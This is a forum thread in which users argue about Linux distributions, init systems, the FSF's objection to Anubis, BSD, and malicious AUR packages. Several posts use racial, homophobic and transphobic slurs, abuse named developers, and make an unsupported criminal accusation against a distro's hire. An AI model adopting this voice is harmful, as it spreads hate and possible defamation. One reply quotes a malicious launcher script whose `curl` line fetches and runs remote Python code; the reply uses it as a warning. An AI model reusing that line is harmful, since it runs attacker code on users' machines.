The Linux Thread - The Autist's OS of Choice

I hate to follow up a question with a question, but what the hell is a distro for anyways? And why would anyone use it? Artix works just fine, and it's not any different than Mint other than having to install the software myself.

Are distros just a big scam to keep people scared of Linux?
 
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Private Tag Reporter said:
I hate to follow up a question with a question, but what the hell is a distro for anyways? And why would anyone use it? Artix works just fine, and it's not any different than Mint other than having to install the software myself.

Are distros just a big scam to keep people scared of Linux?
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Ubuntu is the biggest reason why we have so many distros
 
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Private Tag Reporter said:
Are distros just a big scam to keep people scared of Linux?
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It's just a side effect of Linux's openness and community culture. You can make your own OS, great! Except now you're overwhelmed by choice, and if you're not a tech enthusiast you will despise Linux so much you'll make peace with how shit Windows is.

Do most people care to know what systemd is and why they should use OpenRC? No, they don't even know what the fuck smss.exe is and they don't need to because it works.
Do most people care to know what Wayland is and why they should use XLibre? No, they don't even know what the fuck dwm.exe is and they don't need to because it works.
Do most people care to know what GNOME is and why they should use LXDE? No, they don't even know what the fuck explorer.exe is and they don't need to because it works.

And the list goes on. Linux is inherently incompatible with the "people that are tired of Windows" target group because the Linux community is ideologically opposed to that group. The Linux community needs to know every cog in their OS and base their, and by extent everyone else's distro choices on that. Your average Windows user would be satisfied with Mint, but he won't hear "yeah just install Mint". He will hear why it's bad because of Canonical and Poettering and how he should use this other distro, and after that they'll go back to Windows and never consider Linux again. They don't care, they want to use their computer, not engage in some high school drama.

That's why so many people want Valve to release SteamOS for desktop. To them, that's a sane stable ground they can finally migrate to to ditch Windows forever. To them, it's the closest Linux can get to a sane Windows alternative. Created, owned and maintained by a reputable company and not a bunch of rabid ideologues like most distros are. Something that they can install and have it just work without having to worry why Lennart Poettering is a cunt, or why Debian/Canonical hires a convicted sadistic child rapist, or why Emmanuel Bassi is a toe sucking faggot. Nobody cares about that, and never does anyone who asks for a Linux distro recommendation gets one cohesive answer. If they won't get simultaneous suggestions for Mint, Manjaro, Arch, Artix, Debian, Devuan, Pop!_OS, Ubuntu and every other popular distro ever leaving them even more confused, they will hear all the Linux drama as the reasoning for why they should choose this distro over that. People are sick and tired of this happening every time they want to ditch Windows so they hope that Valve will finally put an end to this fuckery and offer one sane stable distro for people to use, because people trust Valve more than a horde of rabid autists.

So no, distros are not a big scam, they're the byproduct of the nature of Linux's openness, and what's truly making people scared of Linux is it's so-called community, which lacks any resemblance of one. Fragmented, constantly at war with each other, cannot agree on anything ever. If you can't even agree on one universal beginner distro (Mint), then you can forget about overcoming Apple's OS share, let alone Microsoft's.

And let's not act like "that's not the entire community", it is the entire community. The entire Linux community is based on the ideological opposition to proprietary software. Linux desktop is free and open source, and what's the main opposition to that? Microsoft Windows. That's why no matter how much people in the Linux community state that they don't care about overtaking Windows do victory laps when Linux hits a staggering 5% OS share declaring victory over Windows. That's why no matter how much they say that they don't want Windows users to use Linux, they do their absolute best to get Windows users to switch to Linux by any means necessary. What people in the Linux community say always contradicts what they do.
In short, no. People are scared of Linux because they're not autists and want something that works and that they don't have to think about. Any sort of Linux migration requires thinking, which is why unless Valve actually releases SteamOS, you should stay on Windows and don't bother with Linux. Unless Mint fulfills your needs, then stay on Mint and don't worry about anything else. Mint is good and anyone that suggests anything else is a nigger.

That's all for the monthly "Slav Power has an autistic spergout in the Linux thread about how much he despises Linux". Feel free to rate it "Dumb", "Mad At The Internet", "Autistic" and "Lunacy".
 
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Slav Power said:
And the list goes on. Linux is inherently incompatible with the "people that are tired of Windows" target group because the Linux community is ideologically opposed to that group. The Linux community needs to know every cog in their OS and base their, and by extent everyone else's distro choices on that. Your average Windows user would be satisfied with Mint, but he won't hear "yeah just install Mint". He will hear why it's bad because of Canonical and Poettering and how he should use this other distro, and after that they'll go back to Windows and never consider Linux again. They don't care, they want to use their computer, not engage in some high school drama.
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nah, not really though. anyone normal will recommend ChromeOS or Mint to someone who just wants to get rid of Windows, although obviously if they have any sort of technical aptitude and actually want to use Linux they should roll with Devuan or Gentoo or some less dumbed down and polluted distribution.
 
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GNU Hurder said:
BSD has fallen. Bunch of mask wearing covidiots in the crowd and presenting. Not even Mega-Theo can save us now.
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Even FreeBSD, which is by far the most pozzed of the main three, is leaps and bounds better than the current state of Linux, but still slowly slipping. OpenBSD is the way.
 
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prollyanotherlurker said:
One thing I feel like people forget about when talking about snaps vs flatpaks. Is appimages exist. IMO that is the actual answer to people wanting to install packages that wok on any linux distro.
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Please, can we not? Just stop this lunacy.
If Microsoft could solve binary compatibility in 1993 I'm sure FOSS trannies could do it to. Just put those programming socks on, big boy!
In all seriousness, if this is the direction Linux is heading, the future will be pure pain.
 
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All of this anti-DDoS discussion reminds me of this somewhat recent FSF blog post:
When you visit a website, it might send your browser one or more JavaScript programs. These JavaScript programs are usually proprietary. We explain this more in "The JavaScript Trap." If a website sends you a free JavaScript program, you can develop a modified version, share that with other people so they can benefit, and you can configure your browser to run your modified version instead of what the website sends. But some JavaScript programs are malware, which do things like spy on you, and the only modification any user would want is to stop it from ever running.


Some web developers have started integrating a program called Anubis to decrease the amount of requests that automated systems send and therefore help the website avoid being DDoSed. The problem is that Anubis makes the website send out a free JavaScript program that acts like malware. A website using Anubis will respond to a request for a webpage with a free JavaScript program and not the page that was requested. If you run the JavaScript program sent through Anubis, it will do some useless computations on random numbers and keep one CPU entirely busy. It could take less than a second or over a minute. When it is done, it sends the computation results back to the website. The website will verify that the useless computation was done by looking at the results and only then give access to the originally requested page.


At the FSF, we do not support this scheme because it conflicts with the principles of software freedom. The Anubis JavaScript program's calculations are the same kind of calculations done by crypto-currency mining programs. A program which does calculations that a user does not want done is a form of malware. Proprietary software is often malware, and people often run it not because they want to, but because they have been pressured into it. If we made our website use Anubis, we would be pressuring users into running malware. Even though it is free software, it is part of a scheme that is far too similar to proprietary software to be acceptable. We want users to control their own computing and to have autonomy, independence, and freedom. With your support, we can continue to put these principles into practice.


Even though we are under active attack, gnu.org,ftp.gnu.org, and savannah.gnu.org are up with normal response times at the moment, and have been for the majority of this week, largely thanks to hard work from the Savannah hackers Bob, Corwin, and Luke who've helped us, your sysadmins. We've shielded these sites for almost a full year of intense attacks now, and we'll keep on fighting these attacks for as long as they continue.
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God bless rms and his autism.

GNU Hurder said:
Our uwu anime girl was at BSDCan last month. Here is a terrible screenshot from the YT video from around 6hr30min onwards. Sounds like you would expect.
cadey.webp


BSD has fallen. Bunch of mask wearing covidiots in the crowd and presenting. Not even Mega-Theo can save us now.
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Archive for posterity:
 
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Frederica Bernkastel said:
Yesterday, AUR got hit with some more malicious packages. Seems like there's just some dude just uploading fake packages and hoping to get some bait.
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It gets worse, from the Reddit thread it appears the malicious packages keep reappearing under different names and accounts, and all the AUR is doing is IP banning which obviously doesn't do shit on it's own. They have no other way to stop this. Call me retarded for assuming they had some process, but I guess not. I suppose this is the cue for me to finally remove the last of my AUR shit, and good riddance. Even though I always read the PKGBUILDs and source files and I have always kept AUR use to a minimum (mostly for stability reasons) I still am not going to trust such complete lack of care about the security of users using anything. Obviously the users should take precautions and it is a fact that any garbo attack can hit if the user just doesn't care enough, but the site needs to care a little bit more despite this I think.

It's funny that I immediately saw a lot of people post the classic line: "just read the PKGBUILDs, sweaty", yet these same people didn't even take the time to read that these malicious packages actually used the source files, not the PKGBUILD as an attack vector. I am sure these Arch Teens actually read PKGBUILDs and don't just paste it into ChatGPT and think that makes them safe. I am going to start making my own builds for personal use and maintaining them myself, should of started that way before, but I was too lazy to compile and maintain. Everyone is well in their right to call me moronic for not already doing so, I am just glad it didn't take an actual breach for me to stop being a retard about this.
 
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Slav Power said:
If you can't even agree on one universal beginner distro (Mint), then you can forget about overcoming Apple's OS share, let alone Microsoft's.
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And I'll note that Apple has the predominant (mostly) POSIX OSes. They Just Werk™.

You generally don't have to go to stackexchange or whatever and sift through unresponsive jeet and AI answers if you want to know how you can get them to do something.
 
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Private Tag Reporter said:
I hate to follow up a question with a question, but what the hell is a distro for anyways? And why would anyone use it? Artix works just fine, and it's not any different than Mint other than having to install the software myself.

Are distros just a big scam to keep people scared of Linux?
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It's a consequence of how software is packaged for Linux. Since there is no security to speak of and no way to easily download programs off the Web like you can with Windows, you need some kind of software repository as a regular user. Every autist has his own idea of how this packaging is supposed to go, so you get distros. If there were none, you'd be forced to Linux From Scratch your system.

Artix is an Arch-based distro, Mint is an Ubuntu-based one (that itself is based on Debian). If you want some differences that might be more apparent as a user:
  • Arch bundles everything together, including stuff like headers that would be put in an additional *-dev package on anything downstream from Debian. This makes compilation and development a little bit easier.
  • Programs on Artix tend to be of a newer version than on Mint, because anything Arch based closely follows upstream development and doesn't put as much emphasis on stability than Debian does. Debian Unstable/Sid would be more comparable.
  • Artix does not use systemd as an init system. Arch made the decision to embrace Poetterware a long time ago and there is no way to maintain anything else inside Arch's ecosystem because the maintainters themselves are staunchly against this. Hence the need for a new distro.
There are other things that people call "distros", but I find that extremely retarded. If your image is just Debian/Arch with KDE preinstalled and configured for use, the most you could call this is "$distro KDE flavor". In general, if all you're doing can be boiled down to an overlay of about 20 packages that you could maintain as an unofficial repo for your upstream, there's no point in calling it a separate distro.
 
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Akerman said:
It's funny that I immediately saw a lot of people post the classic line: "just read the PKGBUILDs, sweaty", yet these same people didn't even take the time to read that these malicious packages actually used the source files, not the PKGBUILD as an attack vector. I am sure these Arch Teens actually read PKGBUILDs and don't just paste it into ChatGPT and think that makes them safe. I am going to start making my own builds for personal use and maintaining them myself, should of started that way before, but I was too lazy to compile and maintain. Everyone is well in their right to call me moronic for not already doing so, I am just glad it didn't take an actual breach for me to stop being a retard about this.
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In this case, this attack is something most careful users should be able to catch. The malicious source file in question was google-chrome-stable.sh, which was included directly in the AUR repo instead of being linked to from some sketchy domain—such a domain would raise suspicions from a basic review of the PKGBUILD.

A good AUR helper (e.g. trizen) will show you the contents of any .install or .sh files to review before building. If a careful and reasonably competent user looks at the last 2 lines of the source file, he will promptly turn 360 degrees and walk away.
Bash: 
#!/bin/bash

XDG_CONFIG_HOME=${XDG_CONFIG_HOME:-~/.config}

# Allow users to override command-line options
if [[ -f $XDG_CONFIG_HOME/chrome-flags.conf ]]; then
    CHROME_USER_FLAGS="$(grep -v '^#' $XDG_CONFIG_HOME/chrome-flags.conf)"
fi

# Launch
python -c "$(curl https://segs.lol/9wUb1Z)"
exec /opt/google/chrome/google-chrome $CHROME_USER_FLAGS "$@"

imo retards who rely on something like ChatGPT for vetting PKGBUILDS and such deserve whatever is coming to them. Plus, writing PKGBUILD files yourself isn't super difficult if you're really paranoid. See here. You can take inspiration from existing ones too.
 
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Akerman said:
It gets worse, from the Reddit thread it appears the malicious packages keep reappearing under different names and accounts, and all the AUR is doing is IP banning which obviously doesn't do shit on it's own. They have no other way to stop this. Call me retarded for assuming they had some process, but I guess not.
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No. The remedy would be something like Flathub uses where there's a review process before it gets pushed. AUR doesn't have enough manpower for that so it's a free for all.

Arch isn't meant for production environments anyway so I doubt they care
 
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